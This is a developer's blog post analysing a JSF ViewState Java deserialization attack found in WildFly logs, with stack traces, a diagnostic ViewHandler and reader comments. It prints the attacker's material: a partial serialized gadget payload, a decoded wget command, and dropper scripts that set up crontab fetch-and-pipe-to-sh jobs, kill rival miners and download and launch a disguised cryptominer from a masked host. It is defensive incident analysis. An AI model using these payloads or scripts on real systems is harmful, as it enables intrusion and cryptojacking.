Hack Attempt on JSF ViewState
This article explains why the error java.lang.StringIndexOutOfBoundsException: String index out of range: -1 in the class ServerSideStateHelper in the method getState (313) might be someone trying to hack your application server. It is getting quite technical in here… but bear with me… it’s really interesting. I also break down the actual attack to demonstrate what the attacker was trying to do.
Recently we got more and more log entries with the following stacktrace in our WildFly 10 log file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
java.lang.StringIndexOutOfBoundsException: String index out of range: -1 at java.lang.String.substring(String.java:1967) [rt.jar:1.8.0_131] at com.sun.faces.renderkit.ServerSideStateHelper.getState(ServerSideStateHelper.java:313) [jsf-impl-2.2.12-jbossorg-2.jar:2.2.12-jbossorg-2] at com.sun.faces.renderkit.ServerSideStateHelper.isStateless(ServerSideStateHelper.java:515) [jsf-impl-2.2.12-jbossorg-2.jar:2.2.12-jbossorg-2] at com.sun.faces.renderkit.ResponseStateManagerImpl.isStateless(ResponseStateManagerImpl.java:168) [jsf-impl-2.2.12-jbossorg-2.jar:2.2.12-jbossorg-2] at com.sun.faces.application.view.FaceletViewHandlingStrategy.restoreView(FaceletViewHandlingStrategy.java:546) [jsf-impl-2.2.12-jbossorg-2.jar:2.2.12-jbossorg-2] at com.sun.faces.application.view.MultiViewHandler.restoreView(MultiViewHandler.java:151) [jsf-impl-2.2.12-jbossorg-2.jar:2.2.12-jbossorg-2] at javax.faces.application.ViewHandlerWrapper.restoreView(ViewHandlerWrapper.java:353) [jboss-jsf-api_2.2_spec-2.2.12.jar:2.2.12] at javax.faces.application.ViewHandlerWrapper.restoreView(ViewHandlerWrapper.java:353) [jboss-jsf-api_2.2_spec-2.2.12.jar:2.2.12] at javax.faces.application.ViewHandlerWrapper.restoreView(ViewHandlerWrapper.java:353) [jboss-jsf-api_2.2_spec-2.2.12.jar:2.2.12] at org.omnifaces.viewhandler.OmniViewHandler.restoreView(OmniViewHandler.java:106) [omnifaces-2.6.2.jar:2.6.2] at com.sun.faces.lifecycle.RestoreViewPhase.execute(RestoreViewPhase.java:199) [jsf-impl-2.2.12-jbossorg-2.jar:2.2.12-jbossorg-2] at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.2.12-jbossorg-2.jar:2.2.12-jbossorg-2] at com.sun.faces.lifecycle.RestoreViewPhase.doPhase(RestoreViewPhase.java:123) [jsf-impl-2.2.12-jbossorg-2.jar:2.2.12-jbossorg-2] at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198) [jsf-impl-2.2.12-jbossorg-2.jar:2.2.12-jbossorg-2] at javax.faces.webapp.FacesServlet.service(FacesServlet.java:658) [jboss-jsf-api_2.2_spec-2.2.12.jar:2.2.12] at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:85) [undertow-servlet-1.3.15.Final.jar:1.3.15.Final] at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129) [undertow-servlet-1.3.15.Final.jar:1.3.15.Final] at com.illucit.meteor.listener.CustomProjectUrlFilter.doFilter(CustomProjectUrlFilter.java:68) [classes:] at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:60) [undertow-servlet-1.3.15.Final.jar:1.3.15.Final] at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) [undertow-servlet-1.3.15.Final.jar:1.3.15.Final] at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84) [undertow-servlet-1.3.15.Final.jar:1.3.15.Final] at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62) [undertow-servlet-1.3.15.Final.jar:1.3.15.Final] at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.3.15.Final.jar:1.3.15.Final] at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78) at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) [undertow-core-1.3.15.Final.jar:1.3.15.Final] at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:131) [undertow-servlet-1.3.15.Final.jar:1.3.15.Final] at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57) [undertow-servlet-1.3.15.Final.jar:1.3.15.Final] at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) [undertow-core-1.3.15.Final.jar:1.3.15.Final] at io.undertow.security.handlers.AuthenticationConstraintHandler.handleRequest(AuthenticationConstraintHandler.java:51) [undertow-core-1.3.15.Final.jar:1.3.15.Final] at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46) [undertow-core-1.3.15.Final.jar:1.3.15.Final] at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64) [undertow-servlet-1.3.15.Final.jar:1.3.15.Final] at io.undertow.servlet.handlers.security.ServletSecurityConstraintHandler.handleRequest(ServletSecurityConstraintHandler.java:56) [undertow-servlet-1.3.15.Final.jar:1.3.15.Final] at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60) [undertow-core-1.3.15.Final.jar:1.3.15.Final] at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77) [undertow-servlet-1.3.15.Final.jar:1.3.15.Final] at io.undertow.security.handlers.NotificationReceiverHandler.handleRequest(NotificationReceiverHandler.java:50) [undertow-core-1.3.15.Final.jar:1.3.15.Final] at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43) [undertow-core-1.3.15.Final.jar:1.3.15.Final] at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) [undertow-core-1.3.15.Final.jar:1.3.15.Final] at org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:61) at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) [undertow-core-1.3.15.Final.jar:1.3.15.Final] at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) [undertow-core-1.3.15.Final.jar:1.3.15.Final] at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:284) [undertow-servlet-1.3.15.Final.jar:1.3.15.Final] at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:263) [undertow-servlet-1.3.15.Final.jar:1.3.15.Final] at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:81) [undertow-servlet-1.3.15.Final.jar:1.3.15.Final] at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:174) [undertow-servlet-1.3.15.Final.jar:1.3.15.Final] at io.undertow.server.Connectors.executeRootHandler(Connectors.java:202) [undertow-core-1.3.15.Final.jar:1.3.15.Final] at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:793) [undertow-core-1.3.15.Final.jar:1.3.15.Final] at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) [rt.jar:1.8.0_131] at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) [rt.jar:1.8.0_131] at java.lang.Thread.run(Thread.java:748) [rt.jar:1.8.0_131] |
I googled around and noone was giving a valid answer to why this could happen.
ViewState
By taking a look at the geState and getStateParamValue method you can see the following:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
/** * <p>Inspects the incoming request parameters for the standardized state * parameter name. In this case, the parameter value will be the composite * ID generated by ServerSideStateHelper#writeState(FacesContext, Object, StringBuilder).</p> * * <p>The composite key will be used to find the appropriate view within the * session obtained from the provided <code>FacesContext</code> */ public Object getState(FacesContext ctx, String viewId) { String compoundId = getStateParamValue(ctx); if (compoundId == null) { return null; } if ("stateless".equals(compoundId)) { return "stateless"; } int sep = compoundId.indexOf(':'); assert (sep != -1); assert (sep < compoundId.length()); String idInLogicalMap = compoundId.substring(0, sep); String idInActualMap = compoundId.substring(sep + 1); .... } /** * <p>Get our view state from this request</p> * * @param context the <code>FacesContext</code> for the current request * * @return the view state from this request */ protected static String getStateParamValue(FacesContext context) { String pValue = context.getExternalContext().getRequestParameterMap(). get(ResponseStateManager.VIEW_STATE_PARAM); if (pValue != null && pValue.length() == 0) { pValue = null; } return pValue; } |
1 |
public static final String VIEW_STATE_PARAM = "javax.faces.ViewState"; |
So…. in a nutshell what is this code doing?
This code takes a look the the request parameters, takes the one with the name javax.faces.ViewState, tries to find a colon in it and then extracts the part before the colon and after the colon (idInLogicalMap and idInActualMap);
1 2 |
String pValue = context.getExternalContext().getRequestParameterMap(). get(ResponseStateManager.VIEW_STATE_PARAM); |
1 |
int sep = compoundId.indexOf(':'); |
1 2 |
String idInLogicalMap = compoundId.substring(0, sep); String idInActualMap = compoundId.substring(sep + 1); |
What is this ViewState parameter?
Basically it is a hidden input field automatically embedded in all pages e.g.
1 |
<input type="hidden" name="javax.faces.ViewState" id="j_id1:javax.faces.ViewState:0" value="-5931228377343967742:534520289288330596" autocomplete="off"> |
2 numbers separated by a colon.
How could this ever have a value without a colon?
Next we took a look at our apache logs:
1 2 3 4 5 6 7 8 9 10 11 |
[23:59:08 +0200] "POST /login.jsf;jsessionid=Fdsq8dFx4uVQmOWYi1ocWevcEDZTXK7Esy1cI8us HTTP/1.1" 500 - "-" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17" [23:59:08 +0200] "POST /login.jsf;jsessionid=Fdsq8dFx4uVQmOWYi1ocWevcEDZTXK7Esy1cI8us HTTP/1.1" 500 - "-" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17" [23:59:09 +0200] "POST /login.jsf;jsessionid=Fdsq8dFx4uVQmOWYi1ocWevcEDZTXK7Esy1cI8us HTTP/1.1" 500 - "-" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17" [23:59:09 +0200] "POST /login.jsf;jsessionid=Fdsq8dFx4uVQmOWYi1ocWevcEDZTXK7Esy1cI8us HTTP/1.1" 200 14134 "-" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17" [23:59:09 +0200] "POST /login.jsf;jsessionid=Fdsq8dFx4uVQmOWYi1ocWevcEDZTXK7Esy1cI8us HTTP/1.1" 200 14137 "-" "Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17" [23:59:14 +0200] "POST /login.jsf;jsessionid=Fdsq8dFx4uVQmOWYi1ocWevcEDZTXK7Esy1cI8us HTTP/1.1" 500 - "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36" [23:59:15 +0200] "POST /login.jsf;jsessionid=Fdsq8dFx4uVQmOWYi1ocWevcEDZTXK7Esy1cI8us HTTP/1.1" 500 - "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36" [23:59:15 +0200] "POST /login.jsf;jsessionid=Fdsq8dFx4uVQmOWYi1ocWevcEDZTXK7Esy1cI8us HTTP/1.1" 500 - "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36" [23:59:15 +0200] "POST /login.jsf;jsessionid=Fdsq8dFx4uVQmOWYi1ocWevcEDZTXK7Esy1cI8us HTTP/1.1" 200 14166 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36" [23:59:16 +0200] "POST /login.jsf;jsessionid=Fdsq8dFx4uVQmOWYi1ocWevcEDZTXK7Esy1cI8us HTTP/1.1" 200 14169 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36" [23:59:21 +0200] "POST /login.jsf;jsessionid=Fdsq8dFx4uVQmOWYi1ocWevcEDZTXK7Esy1cI8us HTTP/1.1" 500 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0" |
This is really weird. First of all someone is typing POST requests to one of our pages, one after the other. Secondly the session id appended to the url is the same, but the user agent string is actually different.
The next thing we noticed was, that the error only occurred on pages that were publically accessible without a user having to log in.
This cannot be normal traffic.
So my first assumption was that this must be some kind of bot trying to crawl our page and accidentially putting wrong information into that hidden input field.
So we improved our logging to see the actual value for the javax.faces.ViewState parameter.
Registering a ViewHandler
We added a new ViewHandler to our code like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
public class MyViewHandler extends ViewHandlerWrapper { private ViewHandler wrappedViewHandler; public MyViewHandler(ViewHandler viewHandler) { this.wrappedViewHandler = viewHandler; } public UIViewRoot restoreView(FacesContext context, String viewId) { String viewState = context.getExternalContext().getRequestParameterMap() .get(ResponseStateManager.VIEW_STATE_PARAM); if (viewState != null && !"stateless".equals(viewState) && !viewState.contains(":")) { String message = "Error in javax.faces.ViewState: " + viewState; logger.error(message); } return wrappedViewHandler.restoreView(context, viewId); } @Override public ViewHandler getWrapped() { return wrappedViewHandler; } } |
and registered it in the faces-config.xml.
1 2 3 4 5 |
<application> ... <view-handler>com.illucit.MyViewHandler</view-handler> ... </application> |
Now it gets interesting…
The Actual Attack
When the error occurred next time, we got invalid ViewSate strings like this one
1 |
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xs... |
When I saw this I immediately knew someone was trying to hack us. Strings starting with rO0 are base64 encoded serialized Java objects.
Why should serialized Java Objects be deserialized there?
Turns out there is an option to store the ViewState object on the client side instead of storing it on server side (hopefully rarely used). If you manage to put the correct serialized Java objects into this variable and the objects are deserialized, this can lead to arbitrary remote code execution (RCE). This ViewState vulnerability is already well-known.
The good news is that if your getting the StringIndexOutOfBoundsException error you are also very likely storing your ViewState on the server and are not vulnerable to this security flaw.
Now the fun part… What did the attacker try to achieve?
Base64 decoded string:
1 2 3 4 5 6 |
... iMethodNamet Ljava/lang/String;[ iParamTypest [Ljava/lang/Class;xpur [Ljava.lang.Object;ÎXŸs)l[1] xp [1]t getRuntimeur [Ljava.lang.Class;«×®ËÍZ™[1] xp t getMethoduq ~ [1]vr java.lang.String ð¤8z;³B[1] xpvq ~ sq ~ uq ~ [1]puq ~ t invokeuq ~ [1]vr java.lang.Object xpvq ~ sq ~ ur [Ljava.lang.String;¬ÒVçé{G[1] xp t N/bin/bash -c wget${IFS}-O${IFS}/tmp/icon.jpg${IFS}http://x.x.x.x/icon.jpgt ... |
The only thing in there that is interesting is the part:
1 |
/bin/bash -c wget${IFS}-O${IFS}/tmp/icon.jpg${IFS}http://x.x.x.x/icon.jpg |
Download some „image“ and execute it. The image actually contains some executable bash instructions 🙂
1 2 3 4 5 |
#!/bin/sh echo "*/29 * * * * wget -O - -q http://x.x.x.x/themes/logo.jpg|sh" >/tmp/a echo "*/30 * * * * curl http://x.x.x.x/themes/logo.jpg|sh" >>/tmp/a crontab /tmp/a rm /tmp/a |
This one downloads the next “image” (logo.jpg):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
#!/bin/sh rm -rf /var/tmp/htvjyfhpbv.conf ps auxf|grep -v grep|grep -v lclqhxwtts|grep "/tmp/"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "htvjyfhpbv"|awk '{print $2}'|xargs kill -9 ps -fe|grep -e "lclqhxwtts" -e "ovpvwbvtat" -e "ixcnkupikm" -e "qldcwhjzmg"|grep -v grep if [ $? -ne 0 ] then echo "Starting process..." chmod 777 /var/tmp/lclqhxwtts.conf rm -rf /var/tmp/lclqhxwtts.conf curl -o /var/tmp/lclqhxwtts.conf http://x.x.x.x/themes/kworker.conf wget -O /var/tmp/lclqhxwtts.conf http://x.x.x.x/themes/kworker.conf chmod 777 /var/tmp/sshd rm -rf /var/tmp/sshd cat /proc/cpuinfo|grep aes>/dev/null if [ $? -ne 1 ] then curl -o /var/tmp/sshd http://x.x.x.x/themes/kworker wget -O /var/tmp/sshd http://x.x.x.x/themes/kworker else curl -o /var/tmp/sshd http://x.x.x.x/themes/kworker_na wget -O /var/tmp/sshd http://x.x.x.x/themes/kworker_na fi chmod +x /var/tmp/sshd cd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$((($proc+1)/2)) ./sshd -c lclqhxwtts.conf -t `echo $cores` >/dev/null & ./sshd -c lclqhxwtts.conf -t `echo $cores` >/dev/null & else echo "Running....." fi |
Again we can see that some “kworker” is downloaded and started afterwards.
I downloaded the kworker file and took a look at it. It’s actually a program called “minerd”.
What does this do?? It is a program for mining BitCoins 😊
By downloading the kworker.conf file, we also could get the BitCoin user id of the hacker 🙂
Summary:
By taking a very close look at the StringIndexOutOfBoundException, we actually figured out, that someone was trying to hack into our system. I have not seen any article so far, that links this Exception to a hacking attempt being made to an application server.
The attacker is probably randomly hacking any server that has this vulnerability in order to do BitCoin mining to earn some money 😛
Figuring out the root cause of this Exception actually took quite some time, but was really interesting in the end. I hope this article will save you some time.
If you have any questions or comments, feel free to ask or leave a comment below.
Hi everyone!
I just want to say that we have been attacked by exactly the same method.
As far as I can confirm it had no success.
The IP network the attacker used started was like 5.x.x.11
Thanks for this post, it really helped me a lot to realize what it was trying to do.
have a nice day
Amazing. Thank you.